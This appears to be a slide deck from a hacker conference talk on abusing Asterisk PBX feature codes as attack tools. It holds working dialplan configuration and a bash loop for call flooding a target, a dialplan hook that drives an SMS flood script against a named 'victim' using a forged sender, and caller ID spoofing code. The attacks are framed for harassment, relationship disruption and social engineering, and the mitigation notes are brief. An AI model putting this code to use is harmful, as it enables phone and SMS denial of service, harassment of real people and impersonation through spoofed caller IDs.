Weaponize Your Feature Codes

By MasterChen
Who Am I?

- GreyNoise Podcast Co-Founder and Co-Host [https://greynoi.se](https://greynoi.se)
- SYNShop Hackerspace member [http://synshop.org](http://synshop.org)
- 2014 & 2016 BSidesLV Speaker
  - “What I Learned As A Con Man”
  - “A Peek Behind Vegas Surveillance”
- 2015 DC Skytalks Speaker
  - “Automate Your Stalking”
- 2600: The Hacker Quarterly
  - “Asterisk: The Gatekeeper”
  - “Asterisk: The Busybox”
Why this talk?

• I became enamored with phone phreaking after DEF CON 15, but I missed the boat!
  • Wait... phreaking isn’t dead! We have VoIP!

• Today’s focus
  • Call flooding using feature codes
  • SMS flooding using feature codes
  • Caller ID spoofing using feature codes
  • Potential for even more “features”
Basic Terminology

• Vertical Service Code (aka Star Code, Feature Code): is a special code dialed that engages some type of special telephone service

• Private Branch eXchange (PBX): telephone exchange/switching system that serves a private organization and performs concentration of central office lines or trunks and provides intercommunication between a large number of telephone stations in the organization.
The History of the Feature Code

• Developed by AT&T; Custom Local Area Signaling Service (CLASS) in 1960s & 70s

• CLASS was an AT&T trademark, so “vertical service code” was adopted by North American Numbering Plan Administration

• Called “vertical” because the codes were used on the local Central Office (CO) and not horizontally to a different telephone company
### North American Numbering Plan Administration (NANPA)

#### Our Feature Codes

<table>
<thead>
<tr>
<th>Service</th>
<th>Tone</th>
<th>Pulse/rotary</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cancel forwarding</td>
<td>*30</td>
<td>N/A</td>
</tr>
<tr>
<td>Automatic forwarding</td>
<td>*31</td>
<td>N/A</td>
</tr>
<tr>
<td>Notify</td>
<td>*32</td>
<td>N/A</td>
</tr>
<tr>
<td>Intercom ring 1 (short)</td>
<td>*51</td>
<td>1151</td>
</tr>
<tr>
<td>Intercom ring 2 (short long)</td>
<td>*52</td>
<td>1152</td>
</tr>
<tr>
<td>Intercom ring 3 (short long)</td>
<td>*53</td>
<td>1153</td>
</tr>
<tr>
<td>Extension hold</td>
<td>*54</td>
<td>1154</td>
</tr>
<tr>
<td>Malicious caller identification</td>
<td>*57</td>
<td>1157</td>
</tr>
<tr>
<td>Call blocking</td>
<td>*60</td>
<td>1160</td>
</tr>
<tr>
<td>Priority call</td>
<td>*61</td>
<td>1161</td>
</tr>
</tbody>
</table>
What Do We Mean By “Weaponize”? 

• Weaponize (v.): convert to use as a weapon
  • Feature codes aren’t inherently malicious

• Scope of damage
  • Simple annoyance to business and personal relationship disruption
Materials You Will Need

• Linux machine
• Asterisk Software PBX by Digium installed on that Linux Machine
• VoIP service provider (Vitelity, Bandwidth, Ring Central, etc)
• Hard/Soft phone registered with your PBX
• Imagination
The Structure of Our Feature Codes

• [context-label] : This denotes the start of a context in Asterisk; basically, a piece of your dial plan

• *4X. :
  • * is the beginning of the feature code you will use to start the feature
  • 4 is from what we selected earlier to preserve the standard vertical service codes
  • X is a placeholder for any number between 0-9 (we don’t have that many features....yet.
  • . Tells Asterisk to accept any numbers after “<X> as input from the user.

• Example: *427028675309
*40 - The Call Flood

```
[app-call-flood]
;CallFlood feature code
exten => _40.,1,NoOp(CallFlood)
exten => _40.,n,Set(TARGET=${EXTEN:3})
exten => _40.,n,System(echo "Channel: SIP/${TARGET}@vitel-outbound" > /etc/asterisk/test/number.bak)
exten => _40.,n,System(echo "CallerID: 302-000-0001" >> /etc/asterisk/test/number.bak)
exten => _40.,n,System(echo "MaxRetries: 2" >> /etc/asterisk/test/number.bak)
exten => _40.,n,System(echo "RetryTime: 3" >> /etc/asterisk/test/number.bak)
exten => _40.,n,System(echo "Context: radcontest" >> /etc/asterisk/test/number.bak)
exten => _40.,n,System(echo "Extension: "s" >> /etc/asterisk/test/number.bak)
exten => _40.,n,System(echo "Priority: 1" >> /etc/asterisk/test/number.bak)
exten => _40.,n,Playback(/var/lib/asterisk/sounds/times)
exten => _40.,n,Read(CALLAMT,,3)
exten => _40.,n,SayDigits(${TARGET})
exten => _40.,n,Playback(/var/lib/asterisk/sounds/for)
exten => _40.,n,SayNumber(${CALLAMT})
exten => _40.,n,Playback(/var/lib/asterisk/sounds/times)
exten => _40.,n,Wait(1)
exten => _40.,n,System(/etc/asterisk/test/callflood.sh ${CALLAMT})
exten => _40.,n,Hangup()
```
*40 – The Call Flood (continued)

```bash
#!/bin/bash
COUNTER=1
for (( c=1; c<=COUNTER; c++ ))
  do
    cp /etc/asterisk/test/number.bak /etc/asterisk/test/number.call
    chmod 777 /etc/asterisk/test/number.call
    chown asterisk:asterisk /etc/asterisk/test/number.call
    mv /etc/asterisk/test/number.call /var/spool/asterisk/outgoing/
    sleep 3
done
```
*40 = The Call Flood (continued)

• Demo time!
*40 - Mitigation Techniques

• Pattern matching call drop (Asterisk)
  • Beaten by changing Caller ID on a per call basis (in the call script)

• What about phones that do not hide behind a PBX?
*41 – The SMS Flood

```plaintext
[app-sms-flood]
; SMS Flood feature code
exten => _*41..1,NoOp(SMS Flood)
  exten => _*41..n,Set(TARGET=${EXTEN:3})
  exten => _*41..n,Wait(1)
  exten => _*41..n,Playback(/var/lib/asterisk/sounds/service)
  exten => _*41..n,WaitExten(4)

  exten => 288,1,NoOp(ATT SMS)
  exten => 288,n,Wait(3)
  exten => 288,n,Playback(/var/lib/asterisk/sounds/times)
  exten => 288,n,Read(SMSAMT,,3)
  exten => 288,n,SayDigits(${TARGET})
  exten => 288,n,Playback(/var/lib/asterisk/sounds/for)
  exten => 288,n,SayNumber(${SMSAMT})
  exten => 288,n,Playback(/var/lib/asterisk/sounds/times)
  exten => 288,n,System(ruby /home/chen/s.rb -victim ${TARGET} -carrier att -from yourmom@pornhub.com -count ${SMSAMT} -text test message)
```
*41 – SMS Flood (continued)

• Demo time…. Again!

![Image of a meme with text: DEMO GODS
PLEASE LET THIS DEMO WORK]

From: yourmom@pornhub.com
To: @msg.fl.google.com
Subject: RAWR FLOOD!
From: yourmom@pornhub.com
To: @msg.fl.google.com
Subject: RAWR FLOOD!
From: yourmom@pornhub.com
To: @msg.fl.google.com
Subject: RAWR FLOOD!
41 Practical Use

- Click the malicious link. It will make this all go away.
- The crazy “3 AM” texts from a mistress.
*41 – SMS Flood Mitigation

• Up to the carrier to limit delivery of SMS
• Use Google Voice (Flood works against Project Fi)
• Turn off your cell phone!
  • ...just kidding. The flood will continue when the phone turns back on
*42 – A Spoofy Ghost

[app-call-spoof]
exten => _*42.,1,NoOp(Caller ID Spoofing)
exten => _*42.,n,Set(Destination=${EXTEN:3})
exten => _*42.,n,Playback(/var/lib/asterisk/sounds/pls-entr-num-uwish2-call)
exten => _*42.,n,Playback(/var/lib/asterisk/sounds/from)
exten => _*42.,n,Read(SPOOF,,10)
exten => _*42.,n,Set(CALLERID(number)=$[SPOOF])
exten => _*42.,n,Set(CALLERID(name)="Name")
exten => _*42.,n,Goto(chen-outbound,s,1)
exten => _*42.,n,Hangup
*42 – Stop!
*42 – Spoofing is NOT new, but still practical

• Used in social engineering attack vectors to gain trust
• Voicemail hacking, but this is becoming less viable
So what about all that Imagination talk?

• We still have *43 - *49 at our disposal

• Preset attack structures
  • Nmap scan with IP address as dialed input?
  • Ideas from the audience?

• Launch automated campaigns without being at a computer
References

- DC2016 github repo - https://github.com/MasterChenb0x/DC2016
Conclusion